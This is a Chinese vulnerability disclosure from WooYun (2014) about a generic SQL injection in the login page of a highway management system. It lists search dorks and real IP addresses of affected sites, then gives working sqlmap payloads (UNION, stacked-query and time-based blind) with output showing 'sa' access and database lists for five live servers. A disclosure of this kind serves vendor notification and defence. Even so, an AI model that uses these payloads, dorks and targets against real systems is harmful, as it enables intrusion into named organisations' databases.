漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-081916
漏洞标题：某管理系统存在通用型SQL注入漏洞
相关厂商：广东东方思维科技有限公司
漏洞作者： Mr.leo
提交时间：2014-11-06 15:06
修复时间：2015-02-04 15:06
公开时间：2015-02-04 15:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-06： 细节已通知厂商并且等待厂商处理中
2014-11-11： 厂商已经确认，细节仅向厂商公开
2014-11-14： 细节向第三方安全合作伙伴开放
2015-01-05： 细节向核心白帽子及相关领域专家公开
2015-01-15： 细节向普通白帽子公开
2015-01-25： 细节向实习白帽子公开
2015-02-04： 细节向公众公开
简要描述：
boom！！
详细说明：
厂家：广东东方思维科技有限公司
谷歌关键字 用户：. 密码：. 管理员 江西高速管理系统
登陆用户名userid存在注入漏洞
百度，360关键字 江西高速管理系统
http://59.53.91.235/hcs50/login.aspx
http://www.jxjtzx.com:8088/
http://59.53.91.226/HCS/Login.aspx
http://xt.jxyrgs.com/Login.aspx
http://218.95.0.228:8089/Hcs50_CZ/login.aspx
http://218.95.0.241/hcs50_cf/Login.aspx
http://59.53.91.233:8080/Login.aspx
5个案例证明通用性：
1、59.53.91.235/hcs50/login.aspx?IsAdmin=false&IsRunRtx=
false&password=e&type=1&userid=1
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: userid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: IsAdmin=false&IsRunRtx=false&password=e&type=1&userid=1' UNION ALL
SELECT NULL, NULL, NULL, NULL, NULL, NULL, CHAR(58)+CHAR(115)+CHAR(110)+CHAR(102
)+CHAR(58)+CHAR(105)+CHAR(86)+CHAR(121)+CHAR(81)+CHAR(82)+CHAR(72)+CHAR(77)+CHAR
(120)+CHAR(103)+CHAR(83)+CHAR(58)+CHAR(102)+CHAR(110)+CHAR(115)+CHAR(58), NULL,
NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: IsAdmin=false&IsRunRtx=false&password=e&type=1&userid=1'; WAITFOR D
ELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: IsAdmin=false&IsRunRtx=false&password=e&type=1&userid=1' WAITFOR DE
LAY '0:0:5'--
---
[23:34:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[23:34:18] [INFO] fetching current user
current user: 'sa'
[23:34:18] [INFO] fetching current database
current database: 'HCS50'
[23:34:18] [INFO] fetching database names
[23:34:21] [INFO] the SQL query used returns 12 entries
[23:34:21] [INFO] retrieved: "hcs_dsgs"
[23:34:21] [INFO] retrieved: "HCS50"
[23:34:21] [INFO] retrieved: "hcs50_jj"
[23:34:21] [INFO] retrieved: "HCS50_LN_NEW"
[23:34:21] [INFO] retrieved: "master"
[23:34:21] [INFO] retrieved: "model"
[23:34:22] [INFO] retrieved: "msdb"
[23:34:22] [INFO] retrieved: "ReportServer"
[23:34:22] [INFO] retrieved: "ReportServerTempDB"
[23:34:22] [INFO] retrieved: "tempdb"
[23:34:25] [INFO] retrieved: "web_site_xqgs"
[23:34:25] [INFO] retrieved: "website_jj"
available databases [12]:
[*] HCS50
[*] hcs50_jj
[*] HCS50_LN_NEW
[*] hcs_dsgs
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] web_site_xqgs
[*] website_jj
2、www.jxjtzx.com:8088/login.aspx?IsAdmin=false&password
=e&type=1&userid=1
Place: GET
Parameter: userid
Type: UNION query
Title: Generic UNION query (NULL) - 50 columns
Payload: IsAdmin=false&password=e&type=1&userid=1' UNION ALL SELECT NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CHAR(58)+CHAR(98)+CHAR(106)+CHAR(1
11)+CHAR(58)+CHAR(84)+CHAR(120)+CHAR(71)+CHAR(101)+CHAR(120)+CHAR(78)+CHAR(74)+C
HAR(74)+CHAR(65)+CHAR(116)+CHAR(58)+CHAR(101)+CHAR(114)+CHAR(112)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: IsAdmin=false&password=e&type=1&userid=1'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: IsAdmin=false&password=e&type=1&userid=1' WAITFOR DELAY '0:0:5'--
---
[23:36:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[23:36:19] [INFO] fetching current user
current user: 'sa'
[23:36:19] [INFO] fetching current database
current database: 'HCS50_YW'
[23:36:20] [INFO] fetching database names
[23:36:20] [INFO] the SQL query used returns 14 entries
[23:36:20] [INFO] retrieved: "HCS50_TEST"
[23:36:20] [INFO] retrieved: "HCS50_WY"
[23:36:20] [INFO] retrieved: "HCS50_YW"
[23:36:20] [INFO] retrieved: "master"
[23:36:20] [INFO] retrieved: "model"
[23:36:21] [INFO] retrieved: "msdb"
[23:36:21] [INFO] retrieved: "ReportServer"
[23:36:21] [INFO] retrieved: "ReportServersTempDB"
[23:36:21] [INFO] retrieved: "tempdb"
[23:36:21] [INFO] retrieved: "WanYi"
[23:36:21] [INFO] retrieved: "WebSite_PH"
[23:36:21] [INFO] retrieved: "WebSite_XG"
[23:36:21] [INFO] retrieved: "WebSite_YW"
[23:36:22] [INFO] retrieved: "WebSite_ZX"
available databases [14]:
[*] HCS50_TEST
[*] HCS50_WY
[*] HCS50_YW
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServersTempDB
[*] tempdb
[*] WanYi
[*] WebSite_PH
[*] WebSite_XG
[*] WebSite_YW
[*] WebSite_ZX
3、59.53.91.226/HCS/login.aspx?type=1&userid=1&password=
e&IsAdmin=false
Place: GET
Parameter: userid
Type: UNION query
Title: Generic UNION query (NULL) - 50 columns
Payload: type=1&userid=1' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, CHAR(58)+CHAR(122)+CHAR(121)+CHAR(117)+CHAR(58)+CHAR(122)+C
HAR(87)+CHAR(120)+CHAR(110)+CHAR(68)+CHAR(112)+CHAR(108)+CHAR(89)+CHAR(107)+CHAR
(75)+CHAR(58)+CHAR(101)+CHAR(116)+CHAR(113)+CHAR(58)-- &password=e&IsAdmin=false
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=1&userid=1'; WAITFOR DELAY '0:0:5';--&password=e&IsAdmin=false
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=1&userid=1' WAITFOR DELAY '0:0:5'--&password=e&IsAdmin=false
---
[23:38:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[23:38:50] [INFO] fetching current user
current user: 'sa'
[23:38:50] [INFO] fetching current database
current database: 'HCS50_JX_SJ'
[23:38:50] [INFO] fetching database names
[23:38:54] [INFO] the SQL query used returns 15 entries
[23:38:54] [INFO] retrieved: "FXSD"
[23:38:54] [INFO] retrieved: "HCS50_JX_SJ"
[23:38:54] [INFO] retrieved: "HCS50_test"
[23:38:54] [INFO] retrieved: "hcs50_test2"
[23:38:54] [INFO] retrieved: "master"
[23:38:54] [INFO] retrieved: "model"
[23:38:57] [INFO] retrieved: "msdb"
[23:38:57] [INFO] retrieved: "OA_BASE"
[23:38:57] [INFO] retrieved: "ph_lhjg_bm"
[23:38:57] [INFO] retrieved: "ReportServer"
[23:38:57] [INFO] retrieved: "ReportServerTempDB"
[23:39:00] [INFO] retrieved: "sj_jt_bm"
[23:39:00] [INFO] retrieved: "tempdb"
[23:39:00] [INFO] retrieved: "TPUPDOWN"
[23:39:01] [INFO] retrieved: "WebSite_SJ"
available databases [15]:
[*] FXSD
[*] HCS50_JX_SJ
[*] HCS50_test
[*] hcs50_test2
[*] master
[*] model
[*] msdb
[*] OA_BASE
[*] ph_lhjg_bm
[*] ReportServer
[*] ReportServerTempDB
[*] sj_jt_bm
[*] tempdb
[*] TPUPDOWN
[*] WebSite_SJ
4、218.95.0.228:8089/Hcs50_CZ/login.aspx?type=1&userid=1
&password=e&IsAdmin=false&IsRunRtx=false
Place: GET
Parameter: userid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: type=1&userid=1' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NUL
L, CHAR(58)+CHAR(97)+CHAR(97)+CHAR(120)+CHAR(58)+CHAR(83)+CHAR(85)+CHAR(84)+CHAR
(90)+CHAR(121)+CHAR(109)+CHAR(81)+CHAR(105)+CHAR(111)+CHAR(97)+CHAR(58)+CHAR(118
)+CHAR(99)+CHAR(110)+CHAR(58), NULL, NULL, NULL, NULL-- &password=e&IsAdmin=fals
e&IsRunRtx=false
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=1&userid=1'; WAITFOR DELAY '0:0:5';--&password=e&IsAdmin=false
&IsRunRtx=false
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=1&userid=1' WAITFOR DELAY '0:0:5'--&password=e&IsAdmin=false&I
sRunRtx=false
---
[23:42:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[23:42:59] [INFO] fetching current user
current user: 'sa'
[23:42:59] [INFO] fetching current database
current database: 'Hcs50_CZGKJ'
[23:43:00] [INFO] fetching database names
[23:43:00] [INFO] the SQL query used returns 10 entries
[23:43:00] [INFO] retrieved: "Hcs50_CZGKJ"
[23:43:03] [INFO] retrieved: "Hcs50_JL"
[23:43:03] [INFO] retrieved: "Hcs50_JLNEW"
[23:43:03] [INFO] retrieved: "master"
[23:43:03] [INFO] retrieved: "model"
[23:43:03] [INFO] retrieved: "msdb"
[23:43:04] [INFO] retrieved: "pkpmbs"
[23:43:04] [INFO] retrieved: "tempdb"
[23:43:04] [INFO] retrieved: "website_cz"
[23:43:07] [INFO] retrieved: "Website_JL"
available databases [10]:
[*] Hcs50_CZGKJ
[*] Hcs50_JL
[*] Hcs50_JLNEW
[*] master
[*] model
[*] msdb
[*] pkpmbs
[*] tempdb
[*] website_cz
[*] Website_JL
5、218.95.0.241/hcs50_cf/login.aspx?type=1&userid=1&pass
word=e&IsAdmin=false
Place: GET
Parameter: userid
Type: UNION query
Title: Generic UNION query (NULL) - 50 columns
Payload: type=1&userid=1' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, CHAR(58)+CHAR(115)+CHAR(100)+CHAR(114)+CHAR(58)+CHAR(89)+CH
AR(71)+CHAR(113)+CHAR(85)+CHAR(81)+CHAR(98)+CHAR(97)+CHAR(97)+CHAR(87)+CHAR(73)+
CHAR(58)+CHAR(102)+CHAR(98)+CHAR(117)+CHAR(58)-- &password=e&IsAdmin=false
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=1&userid=1'; WAITFOR DELAY '0:0:5';--&password=e&IsAdmin=false
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=1&userid=1' WAITFOR DELAY '0:0:5'--&password=e&IsAdmin=false
---
[23:56:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[23:56:15] [INFO] fetching current user
current user: 'sa'
[23:56:16] [INFO] fetching current database
current database: 'HCS50_ct_new'
[23:56:16] [INFO] fetching database names
[23:56:16] [INFO] the SQL query used returns 19 entries
[23:56:16] [INFO] retrieved: "CF_UPDOWN"
[23:56:16] [INFO] retrieved: "CF_UPDOWNTest"
[23:56:16] [INFO] retrieved: "FT_UPDOWN"
[23:56:17] [INFO] retrieved: "hcs50_ct"
[23:56:17] [INFO] retrieved: "HCS50_ct_new"
[23:56:17] [INFO] retrieved: "HCS50_JX_PH"
[23:56:17] [INFO] retrieved: "master"
[23:56:17] [INFO] retrieved: "model"
[23:56:17] [INFO] retrieved: "msdb"
[23:56:17] [INFO] retrieved: "PH_UPDOWN"
[23:56:17] [INFO] retrieved: "ReportServer"
[23:56:18] [INFO] retrieved: "ReportServerTempDB"
[23:56:18] [INFO] retrieved: "tempdb"
[23:56:18] [INFO] retrieved: "Test_HCS"
[23:56:18] [INFO] retrieved: "Test_UP"
[23:56:18] [INFO] retrieved: "UPDOWN"
[23:56:18] [INFO] retrieved: "website_cf"
[23:56:18] [INFO] retrieved: "website_cz"
[23:56:19] [INFO] retrieved: "website_JL"
漏洞证明：
已经证明
修复方案：
过滤
版权声明：转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：17
确认时间：2014-11-11 09:42
厂商回复：
CNVD确认并复现所述情况，已经由CNVD按以往建立的联系渠道向软件生产厂商——东方思维公司通报，并要求其积极处置用户案例。
最新状态：
暂无